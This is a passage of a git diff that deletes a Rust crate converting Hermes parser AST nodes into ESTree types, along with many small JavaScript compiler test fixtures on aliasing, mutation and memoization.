-    hermes_get_FunctionExpression_async, hermes_get_FunctionExpression_body,
-    hermes_get_FunctionExpression_generator, hermes_get_FunctionExpression_id,
-    hermes_get_FunctionExpression_params, hermes_get_Property_computed, hermes_get_Property_key,
-    hermes_get_Property_kind, hermes_get_Property_method, hermes_get_Property_shorthand,
-    hermes_get_Property_value, NodeKind, NodeLabel, NodeLabelOpt, NodeListRef, NodePtr, NodePtrOpt,
-    NodeString, NodeStringOpt, SMRange,
-};
-use hermes::utf::utf8_with_surrogates_to_string;
-use juno_support::NullTerminatedBuf;
-use react_estree::{
-    ArrowFunctionExpression, AssignmentProperty, Class, ClassBody, ClassDeclaration,
-    ClassExpression, Expression, ExpressionOrSpread, Function, FunctionBody, FunctionDeclaration,
-    FunctionExpression, Identifier, Number, Pattern, SourceRange, TemplateElement,
-    TemplateElementValue,
-};
-
-pub struct Context {
-    start: usize,
-}
-
-impl Context {
-    pub fn new(parser: &NullTerminatedBuf) -> Self {
-        // SAFETY: This function returns a pointer to the underlying
-        // buffer. It is safe to get the pointer, it is only unsafe to
-        // use that pointer in unsafe ways. We only use the value to
-        // calculate offsets (and only use safe APIs to access the string
-        // based on those offsets).
-        let ptr = unsafe { parser.as_ptr() };
-        let start = ptr as usize;
-        Self { start }
-    }
-}
-
-pub trait FromHermes {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self;
-}
-pub trait FromHermesLabel {
-    fn convert(cx: &mut Context, label: NodeLabel) -> Self;
-}
-
-pub fn convert_option<F, T>(node: NodePtrOpt, f: F) -> Option<T>
-where
-    F: FnMut(NodePtr) -> T,
-{
-    node.as_node_ptr().map(f)
-}
-
-pub fn convert_vec<F, T>(node: NodeListRef, mut f: F) -> Vec<T>
-where
-    F: FnMut(NodePtr) -> T,
-{
-    node.iter().map(|node| f(NodePtr::new(node))).collect()
-}
-
-pub fn convert_vec_of_option<F, T>(node: NodeListRef, mut f: F) -> Vec<Option<T>>
-where
-    F: FnMut(NodePtr) -> T,
-{
-    node.iter()
-        .map(|node| {
-            let node = NodePtr::new(node);
-            let node_ref = node.as_ref();
-            match node_ref.kind {
-                NodeKind::Empty => None,
-                _ => Some(f(node)),
-            }
-        })
-        .collect()
-}
-
-pub fn convert_range(cx: &Context, node: NodePtr) -> SourceRange {
-    let range = node.as_ref().source_range;
-    let absolute_start: usize = range.start.as_ptr() as usize;
-    let start = absolute_start - cx.start;
-    let absolute_end: usize = range.end.as_ptr() as usize;
-    let end = absolute_end - cx.start;
-    SourceRange {
-        start: start as u32,
-        end: NonZeroU32::new(end as u32).unwrap(),
-    }
-}
-
-#[allow(dead_code)]
-pub fn convert_smrange(_range: SMRange) -> SourceRange {
-    todo!()
-}
-
-pub fn convert_string(_cx: &mut Context, label: NodeLabel) -> String {
-    utf8_with_surrogates_to_string(label.as_slice()).unwrap()
-}
-
-#[allow(dead_code)]
-pub fn convert_option_string(cx: &mut Context, label: NodeLabelOpt) -> Option<String> {
-    label.as_node_label().map(|label| convert_string(cx, label))
-}
-
-pub fn convert_string_value(_cx: &mut Context, label: NodeString) -> String {
-    utf8_with_surrogates_to_string(label.as_slice()).unwrap()
-}
-
-pub fn convert_option_string_value(_cx: &mut Context, label: NodeStringOpt) -> Option<String> {
-    label
-        .as_node_string()
-        .map(|label| utf8_with_surrogates_to_string(label.as_slice()).unwrap())
-}
-
-pub fn convert_number(value: f64) -> Number {
-    value.into()
-}
-
-pub fn convert_array_expression_elements(
-    cx: &mut Context,
-    node: NodeListRef,
-) -> Vec<Option<ExpressionOrSpread>> {
-    convert_vec_of_option(node, |node| ExpressionOrSpread::convert(cx, node))
-}
-
-impl FromHermes for TemplateElement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let range = convert_range(cx, node);
-        let tail = unsafe { hermes::parser::hermes_get_TemplateElement_tail(node) };
-        let value = TemplateElementValue {
-            cooked: convert_option_string_value(cx, unsafe {
-                hermes::parser::hermes_get_TemplateElement_cooked(node)
-            }),
-            raw: convert_string(cx, unsafe {
-                hermes::parser::hermes_get_TemplateElement_raw(node)
-            }),
-        };
-        Self {
-            tail,
-            value,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-
-impl FromHermes for AssignmentProperty {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let key = FromHermes::convert(cx, unsafe { hermes_get_Property_key(node) });
-        let value = FromHermes::convert(cx, unsafe { hermes_get_Property_value(node) });
-        let kind = FromHermesLabel::convert(cx, unsafe { hermes_get_Property_kind(node) });
-        let is_method = unsafe { hermes_get_Property_method(node) };
-        let is_computed = unsafe { hermes_get_Property_computed(node) };
-        let is_shorthand = unsafe { hermes_get_Property_shorthand(node) };
-        let loc = None;
-        let range = convert_range(cx, node);
-        AssignmentProperty {
-            key,
-            value,
-            kind,
-            is_method,
-            is_computed,
-            is_shorthand,
-            loc,
-            range: Some(range),
-        }
-    }
-}
-
-impl FromHermes for FunctionDeclaration {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let id = convert_option(unsafe { hermes_get_FunctionDeclaration_id(node) }, |node| {
-            Identifier::convert(cx, node)
-        });
-        let params = convert_vec(
-            unsafe { hermes_get_FunctionDeclaration_params(node) },
-            |node| Pattern::convert(cx, node),
-        );
-        let body = FunctionBody::convert(cx, unsafe { hermes_get_FunctionDeclaration_body(node) });
-        let is_generator = unsafe { hermes_get_FunctionDeclaration_generator(node) };
-        let is_async = unsafe { hermes_get_FunctionDeclaration_async(node) };
-        let loc = None;
-        let range = convert_range(cx, node);
-        FunctionDeclaration {
-            function: Function {
-                id,
-                params,
-                body: Some(body),
-                is_generator,
-                is_async,
-                loc: loc.clone(),
-                range: Some(range),
-            },
-            loc,
-            range: Some(range),
-        }
-    }
-}
-
-impl FromHermes for FunctionExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let id = convert_option(unsafe { hermes_get_FunctionExpression_id(node) }, |node| {
-            Identifier::convert(cx, node)
-        });
-        let params = convert_vec(
-            unsafe { hermes_get_FunctionExpression_params(node) },
-            |node| Pattern::convert(cx, node),
-        );
-        let body = FunctionBody::convert(cx, unsafe { hermes_get_FunctionExpression_body(node) });
-        let is_generator = unsafe { hermes_get_FunctionExpression_generator(node) };
-        let is_async = unsafe { hermes_get_FunctionExpression_async(node) };
-        let loc = None;
-        let range = convert_range(cx, node);
-        FunctionExpression {
-            function: Function {
-                id,
-                params,
-                body: Some(body),
-                is_generator,
-                is_async,
-                loc: loc.clone(),
-                range: Some(range),
-            },
-            loc,
-            range: Some(range),
-        }
-    }
-}
-
-impl FromHermes for ArrowFunctionExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let id = convert_option(
-            unsafe { hermes_get_ArrowFunctionExpression_id(node) },
-            |node| Identifier::convert(cx, node),
-        );
-        let params = convert_vec(
-            unsafe { hermes_get_ArrowFunctionExpression_params(node) },
-            |node| Pattern::convert(cx, node),
-        );
-        let body =
-            FunctionBody::convert(cx, unsafe { hermes_get_ArrowFunctionExpression_body(node) });
-        let is_generator = unsafe { hermes_get_FunctionExpression_generator(node) };
-        let is_async = unsafe { hermes_get_ArrowFunctionExpression_async(node) };
-        let is_expression = unsafe { hermes_get_ArrowFunctionExpression_expression(node) };
-        let loc = None;
-        let range = convert_range(cx, node);
-        ArrowFunctionExpression {
-            function: Function {
-                id,
-                params,
-                body: Some(body),
-                is_generator,
-                is_async,
-                loc: loc.clone(),
-                range: Some(range),
-            },
-            is_expression,
-            loc,
-            range: Some(range),
-        }
-    }
-}
-
-impl FromHermes for ClassDeclaration {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let id = convert_option(unsafe { hermes_get_ClassDeclaration_id(node) }, |node| {
-            Identifier::convert(cx, node)
-        });
-        let super_class = convert_option(
-            unsafe { hermes_get_ClassDeclaration_superClass(node) },
-            |node| Expression::convert(cx, node),
-        );
-        let body = ClassBody::convert(cx, unsafe { hermes_get_ClassDeclaration_body(node) });
-        let loc = None;
-        let range = convert_range(cx, node);
-        ClassDeclaration {
-            class: Class {
-                id,
-                super_class,
-                body,
-            },
-            loc,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ClassExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let id = convert_option(unsafe { hermes_get_ClassExpression_id(node) }, |node| {
-            Identifier::convert(cx, node)
-        });
-        let super_class = convert_option(
-            unsafe { hermes_get_ClassExpression_superClass(node) },
-            |node| Expression::convert(cx, node),
-        );
-        let body = ClassBody::convert(cx, unsafe { hermes_get_ClassExpression_body(node) });
-        let loc = None;
-        let range = convert_range(cx, node);
-        ClassExpression {
-            class: Class {
-                id,
-                super_class,
-                body,
-            },
-            loc,
-            range: Some(range),
-        }
-    }
-}
diff --git a/compiler/crates/react_hermes_parser/src/lib.rs b/compiler/crates/react_hermes_parser/src/lib.rs
deleted file mode 100644
index 8524d4571f0d..000000000000
--- a/compiler/crates/react_hermes_parser/src/lib.rs
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-mod generated;
-mod generated_extension;
-
-use generated_extension::{Context, FromHermes};
-use hermes::parser::{HermesParser, ParserDialect, ParserFlags};
-use hermes::utf::utf8_with_surrogates_to_string;
-use juno_support::NullTerminatedBuf;
-use react_diagnostics::Diagnostic;
-use react_estree::Program;
-
-pub fn parse(source: &str, _file: &str) -> Result<Program, Vec<Diagnostic>> {
-    let buf = NullTerminatedBuf::from_str_check(source);
-    let result = HermesParser::parse(
-        ParserFlags {
-            dialect: ParserDialect::TypeScript,
-            enable_jsx: true,
-            store_doc_block: true,
-            strict_mode: true,
-        },
-        &buf,
-    );
-    let mut cx = Context::new(&buf);
-    if result.has_errors() {
-        let error_messages = result.messages();
-        return Err(error_messages
-            .iter()
-            .map(|diag| {
-                let message = utf8_with_surrogates_to_string(diag.message.as_slice()).unwrap();
-                Diagnostic::invalid_syntax(message, None)
-            })
-            .collect());
-    }
-
-    Ok(FromHermes::convert(&mut cx, result.root().unwrap()))
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/alias-capture-in-method-receiver-and-mutate.js b/compiler/crates/react_hermes_parser/tests/fixtures/alias-capture-in-method-receiver-and-mutate.js
deleted file mode 100644
index 13470813eb3b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/alias-capture-in-method-receiver-and-mutate.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function Component() {
-  // a's mutable range should be the same as x's mutable range,
-  // since a is captured into x (which gets mutated later)
-  let a = someObj();
-
-  let x = [];
-  x.push(a);
-
-  mutate(x);
-  return [x, a];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/alias-capture-in-method-receiver.js b/compiler/crates/react_hermes_parser/tests/fixtures/alias-capture-in-method-receiver.js
deleted file mode 100644
index 9b2dbbdd1bc5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/alias-capture-in-method-receiver.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Component() {
-  // a's mutable range should be limited
-  // the following line
-  let a = someObj();
-
-  let x = [];
-  x.push(a);
-
-  return [x, a];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/alias-computed-load.js b/compiler/crates/react_hermes_parser/tests/fixtures/alias-computed-load.js
deleted file mode 100644
index 1bd930dbcf19..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/alias-computed-load.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function component(a) {
-  let x = { a };
-  let y = {};
-
-  y.x = x["a"];
-  mutate(y);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/alias-nested-member-path-mutate.js b/compiler/crates/react_hermes_parser/tests/fixtures/alias-nested-member-path-mutate.js
deleted file mode 100644
index fb356300382f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/alias-nested-member-path-mutate.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function component() {
-  let z = [];
-  let y = {};
-  y.z = z;
-  let x = {};
-  x.y = y;
-  mutate(x.y.z);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/alias-nested-member-path.js b/compiler/crates/react_hermes_parser/tests/fixtures/alias-nested-member-path.js
deleted file mode 100644
index 11ab613cb7b3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/alias-nested-member-path.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function component() {
-  let z = [];
-  let y = {};
-  y.z = z;
-  let x = {};
-  x.y = y;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/alias-while.js b/compiler/crates/react_hermes_parser/tests/fixtures/alias-while.js
deleted file mode 100644
index 34aa4c93aaab..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/alias-while.js
+++ /dev/null
@@ -1,18 +0,0 @@
-function foo(cond) {
-  let a = {};
-  let b = {};
-  let c = {};
-  while (cond) {
-    let z = a;
-    a = b;
-    b = c;
-    c = z;
-    mutate(a, b);
-  }
-  a;
-  b;
-  c;
-  return a;
-}
-
-function mutate(x, y) {}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/allocating-primitive-as-dep-nested-scope.js b/compiler/crates/react_hermes_parser/tests/fixtures/allocating-primitive-as-dep-nested-scope.js
deleted file mode 100644
index 765c7ef79f0e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/allocating-primitive-as-dep-nested-scope.js
+++ /dev/null
@@ -1,11 +0,0 @@
-// bar(props.b) is an allocating expression that produces a primitive, which means
-// that Forget should memoize it.
-// Correctness:
-//   - y depends on either bar(props.b) or bar(props.b) + 1
-function AllocatingPrimitiveAsDepNested(props) {
-  let x = {};
-  mutate(x);
-  let y = foo(bar(props.b) + 1);
-  mutate(x, props.a);
-  return [x, y];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/allocating-primitive-as-dep.js b/compiler/crates/react_hermes_parser/tests/fixtures/allocating-primitive-as-dep.js
deleted file mode 100644
index c7ef86f7c222..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/allocating-primitive-as-dep.js
+++ /dev/null
@@ -1,8 +0,0 @@
-// bar(props.b) is an allocating expression that produces a primitive, which means
-// that Forget should memoize it.
-// Correctness:
-//   - y depends on either bar(props.b) or bar(props.b) + 1
-function AllocatingPrimitiveAsDep(props) {
-  let y = foo(bar(props).b + 1);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/allow-passing-refs-as-props.js b/compiler/crates/react_hermes_parser/tests/fixtures/allow-passing-refs-as-props.js
deleted file mode 100644
index a820b0d60ec3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/allow-passing-refs-as-props.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const ref = useRef(null);
-  return <Foo ref={ref} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/array-access-assignment.js b/compiler/crates/react_hermes_parser/tests/fixtures/array-access-assignment.js
deleted file mode 100644
index 10e52dd8f0ce..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/array-access-assignment.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function foo(a, b, c) {
-  const x = [a];
-  const y = [null, b];
-  const z = [[], [], [c]];
-  x[0] = y[1];
-  z[0][0] = x[0];
-  return [x, z];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/array-at-closure.js b/compiler/crates/react_hermes_parser/tests/fixtures/array-at-closure.js
deleted file mode 100644
index 244b834756e7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/array-at-closure.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(props) {
-  const x = foo(props.x);
-  const fn = function () {
-    const arr = [...bar(props)];
-    return arr.at(x);
-  };
-  const fnResult = fn();
-  return fnResult;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/array-at-effect.js b/compiler/crates/react_hermes_parser/tests/fixtures/array-at-effect.js
deleted file mode 100644
index 2e2e78e50e9f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/array-at-effect.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// arrayInstance.at should have the following effects:
-//  - read on arg0
-//  - read on receiver
-//  - mutate on lvalue
-function ArrayAtTest(props) {
-  const arr = [foo(props.x)];
-  const result = arr.at(bar(props.y));
-  return result;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/array-at-mutate-after-capture.js b/compiler/crates/react_hermes_parser/tests/fixtures/array-at-mutate-after-capture.js
deleted file mode 100644
index 9553132e1a79..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/array-at-mutate-after-capture.js
+++ /dev/null
@@ -1,10 +0,0 @@
-// x's mutable range should extend to `mutate(y)`
-
-function Component(props) {
-  let x = [42, {}];
-  const idx = foo(props.b);
-  let y = x.at(idx);
-  mutate(y);
-
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/array-expression-spread.js b/compiler/crates/react_hermes_parser/tests/fixtures/array-expression-spread.js
deleted file mode 100644
index 74a101b11d39..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/array-expression-spread.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const x = [0, ...props.foo, null, ...props.bar, "z"];
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/array-join.js b/compiler/crates/react_hermes_parser/tests/fixtures/array-join.js
deleted file mode 100644
index 2637db4ec832..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/array-join.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  const x = [{}, [], props.value];
-  const y = x.join(() => "this closure gets stringified, not called");
-  foo(y);
-  return [x, y];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/array-map-frozen-array.js b/compiler/crates/react_hermes_parser/tests/fixtures/array-map-frozen-array.js
deleted file mode 100644
index a236657cb4ed..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/array-map-frozen-array.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  const x = [];
-  <dif>{x}</dif>;
-  const y = x.map((item) => item);
-  return [x, y];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/array-map-mutable-array-mutating-lambda.js b/compiler/crates/react_hermes_parser/tests/fixtures/array-map-mutable-array-mutating-lambda.js
deleted file mode 100644
index e893b8d518da..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/array-map-mutable-array-mutating-lambda.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function Component(props) {
-  const x = [];
-  const y = x.map((item) => {
-    item.updated = true;
-    return item;
-  });
-  return [x, y];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/array-pattern-params.js b/compiler/crates/react_hermes_parser/tests/fixtures/array-pattern-params.js
deleted file mode 100644
index 5444d984056a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/array-pattern-params.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function component([a, b]) {
-  let y = { a };
-  let z = { b };
-  return [y, z];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/array-properties.js b/compiler/crates/react_hermes_parser/tests/fixtures/array-properties.js
deleted file mode 100644
index 8d314feb33b7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/array-properties.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  const a = [props.a, props.b, "hello"];
-  const x = a.length;
-  const y = a.push;
-  return { a, x, y, z: a.concat };
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/array-property-call.js b/compiler/crates/react_hermes_parser/tests/fixtures/array-property-call.js
deleted file mode 100644
index 3356a23cd6f8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/array-property-call.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Component(props) {
-  const a = [props.a, props.b, "hello"];
-  const x = a.push(42);
-  const y = a.at(props.c);
-
-  return { a, x, y };
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/array-push-effect.js b/compiler/crates/react_hermes_parser/tests/fixtures/array-push-effect.js
deleted file mode 100644
index b91eff86427c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/array-push-effect.js
+++ /dev/null
@@ -1,11 +0,0 @@
-// arrayInstance.push should have the following effects:
-//  - read on all args (rest parameter)
-//  - mutate on receiver
-function Component(props) {
-  const x = foo(props.x);
-  const y = { y: props.y };
-  const arr = [];
-  arr.push({});
-  arr.push(x, y);
-  return arr;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/arrow-function-expr-gating-test.js b/compiler/crates/react_hermes_parser/tests/fixtures/arrow-function-expr-gating-test.js
deleted file mode 100644
index 3debc725be2b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/arrow-function-expr-gating-test.js
+++ /dev/null
@@ -1,4 +0,0 @@
-// @gating
-const ErrorView = (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-export default ErrorView;
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/assignment-expression-computed.js b/compiler/crates/react_hermes_parser/tests/fixtures/assignment-expression-computed.js
deleted file mode 100644
index da5881a6c897..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/assignment-expression-computed.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Component(props) {
-  const x = [props.x];
-  const index = 0;
-  x[index] *= 2;
-  x["0"] += 3;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/assignment-expression-nested-path.js b/compiler/crates/react_hermes_parser/tests/fixtures/assignment-expression-nested-path.js
deleted file mode 100644
index 7a6a3041857d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/assignment-expression-nested-path.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function g(props) {
-  const a = { b: { c: props.c } };
-  a.b.c = a.b.c + 1;
-  a.b.c *= 2;
-  return a;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/assignment-in-nested-if.js b/compiler/crates/react_hermes_parser/tests/fixtures/assignment-in-nested-if.js
deleted file mode 100644
index b55579a36dee..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/assignment-in-nested-if.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function useBar(props) {
-  let z;
-
-  if (props.a) {
-    if (props.b) {
-      z = baz();
-    }
-  }
-
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/assignment-variations-complex-lvalue-array.js b/compiler/crates/react_hermes_parser/tests/fixtures/assignment-variations-complex-lvalue-array.js
deleted file mode 100644
index c396f86547e6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/assignment-variations-complex-lvalue-array.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function foo() {
-  const a = [[1]];
-  const first = a.at(0);
-  first.set(0, 2);
-  return a;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/assignment-variations-complex-lvalue.js b/compiler/crates/react_hermes_parser/tests/fixtures/assignment-variations-complex-lvalue.js
deleted file mode 100644
index 44db6c38f58e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/assignment-variations-complex-lvalue.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function g() {
-  const x = { y: { z: 1 } };
-  x.y.z = x.y.z + 1;
-  x.y.z *= 2;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/assignment-variations.js b/compiler/crates/react_hermes_parser/tests/fixtures/assignment-variations.js
deleted file mode 100644
index af39d33a9bc4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/assignment-variations.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function f() {
-  let x = 1;
-  x = x + 1;
-  x += 1;
-  x >>>= 1;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/await-side-effecting-promise.js b/compiler/crates/react_hermes_parser/tests/fixtures/await-side-effecting-promise.js
deleted file mode 100644
index 8b5a45e60817..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/await-side-effecting-promise.js
+++ /dev/null
@@ -1,5 +0,0 @@
-async function Component(props) {
-  const x = [];
-  await populateData(props.id, x);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/await.js b/compiler/crates/react_hermes_parser/tests/fixtures/await.js
deleted file mode 100644
index 3d021138fe47..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/await.js
+++ /dev/null
@@ -1,4 +0,0 @@
-async function Component(props) {
-  const user = await load(props.id);
-  return <div>{user.name}</div>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/babel-existing-react-import.js b/compiler/crates/react_hermes_parser/tests/fixtures/babel-existing-react-import.js
deleted file mode 100644
index 007f4bdfe1f7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/babel-existing-react-import.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import { useState, useMemo } from "react";
-
-function Component(props) {
-  const [x] = useState(0);
-  const expensiveNumber = useMemo(() => calculateExpensiveNumber(x), [x]);
-
-  return <div>{expensiveNumber}</div>;
-}
-
-function Component2(props) {
-  const [x] = useState(0);
-  const expensiveNumber = useMemo(() => calculateExpensiveNumber(x), [x]);
-
-  return <div>{expensiveNumber}</div>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/babel-existing-react-kitchensink-import.js b/compiler/crates/react_hermes_parser/tests/fixtures/babel-existing-react-kitchensink-import.js
deleted file mode 100644
index 39bcae9d69a3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/babel-existing-react-kitchensink-import.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import * as React from "react";
-import { useState, useMemo } from "react";
-
-function Component(props) {
-  const [x] = useState(0);
-  const expensiveNumber = useMemo(() => calculateExpensiveNumber(x), [x]);
-
-  return <div>{expensiveNumber}</div>;
-}
-
-function Component2(props) {
-  const [x] = useState(0);
-  const expensiveNumber = useMemo(() => calculateExpensiveNumber(x), [x]);
-
-  return <div>{expensiveNumber}</div>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/bug.useMemo-deps-array-not-cleared.js b/compiler/crates/react_hermes_parser/tests/fixtures/bug.useMemo-deps-array-not-cleared.js
deleted file mode 100644
index 711783d4f92e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/bug.useMemo-deps-array-not-cleared.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function App({ text, hasDeps }) {
-  const resolvedText = useMemo(
-    () => {
-      return text.toUpperCase();
-    },
-    hasDeps ? null : [text] // should be DCE'd
-  );
-  return resolvedText;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/bug_object-pattern.js b/compiler/crates/react_hermes_parser/tests/fixtures/bug_object-pattern.js
deleted file mode 100644
index dd7ac9f415a4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/bug_object-pattern.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function component(t) {
-  let { a } = t;
-  let y = { a };
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/builtin-jsx-tag-lowered-between-mutations.js b/compiler/crates/react_hermes_parser/tests/fixtures/builtin-jsx-tag-lowered-between-mutations.js
deleted file mode 100644
index 8b3fd76ca6c2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/builtin-jsx-tag-lowered-between-mutations.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const maybeMutable = new MaybeMutable();
-  return <div>{maybeMutate(maybeMutable)}</div>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/call-args-assignment.js b/compiler/crates/react_hermes_parser/tests/fixtures/call-args-assignment.js
deleted file mode 100644
index dc686eea9e20..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/call-args-assignment.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  let x = makeObject();
-  x.foo((x = makeObject()));
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/call-args-destructuring-assignment.js b/compiler/crates/react_hermes_parser/tests/fixtures/call-args-destructuring-assignment.js
deleted file mode 100644
index e87fb49c347c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/call-args-destructuring-assignment.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  let x = makeObject();
-  x.foo(([x] = makeObject()));
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/call-spread.js b/compiler/crates/react_hermes_parser/tests/fixtures/call-spread.js
deleted file mode 100644
index 5e73773bd1d2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/call-spread.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const x = foo(...props.a, null, ...props.b);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/call-with-independently-memoizable-arg.js b/compiler/crates/react_hermes_parser/tests/fixtures/call-with-independently-memoizable-arg.js
deleted file mode 100644
index 0675b442875b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/call-with-independently-memoizable-arg.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(props) {
-  const x = makeFunction(props);
-  const y = x(
-    <div>
-      <span>{props.text}</span>
-    </div>
-  );
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/call.js b/compiler/crates/react_hermes_parser/tests/fixtures/call.js
deleted file mode 100644
index d0c79ac7663a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/call.js
+++ /dev/null
